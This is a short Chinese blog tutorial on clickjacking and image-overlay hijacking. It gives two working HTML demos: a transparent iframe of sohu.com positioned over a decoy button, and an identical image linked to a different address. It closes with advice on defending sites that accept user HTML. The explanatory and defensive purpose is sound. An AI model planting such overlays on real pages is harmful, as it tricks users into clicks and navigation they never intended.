点击绑票和图片覆盖劫持 _Web前端

点击劫持和图片覆盖劫持
点击劫持是一种视觉上的欺骗手段。攻击者使用一个透明的、不可见的iframe，覆盖在一
个网页上，然后诱使用户在该网页上进行操作，此时用户将在不知情的情况下点击透明的iframe

页面上的某个按钮或者链接。通过调整iframe 页面的位置，可以诱使用户恰好点击在iframe 页面的一些功能性按钮上。

<head>
<title>CLICK JACK!!!</title>
<style>
iframe {
	width: 900px;
	height: 250px;
	/* Use absolute positioning to line up update button with fake button */
	position: absolute;
	top: -195px;
	left: -740px;
	z-index: 2;
	/* Hide from view */
	-moz-opacity: 0;
	opacity: 0;
	filter: alpha(opacity=0);
}
button {
	position: absolute;
	top: 10px;
	left: 10px;
	z-index: 1;
	width: 120px;
}
</style>
</head>
<body>
<iframe src="http://www.sohu.com" scrolling="no"></iframe>
<button>将会被劫持</button>
</body>
</html>

与之类似的还有图片覆盖劫持，将被劫持的页面上的图片用一个一模一样的图片覆盖，但是链接地址不一样。

如下面的例子

<head>
<title>cross site image overlaying!!!</title>
</head>
<body>
<div id="image1">
<a href="http://blog.csdn.net/kkdelta/article/details/8924724">
<img src=http://avatar.csdn.net/0/2/7/1_kkdelta.jpg>
</a>
</div>
<a href="http://blog.csdn.net/kkdelta">
<img src=http://avatar.csdn.net/0/2/7/1_kkdelta.jpg
style=position:absolute;left:10px;top:10px;width:50px;height:50px;/>
</a>
</body>
</html>

所以我们在给用户提供输入HTML代码片段的时候，需要考虑这种漏洞。试了一下CSDN的代码编辑模式下是不是存在这种漏洞，发现对这两种都进行了屏蔽处理。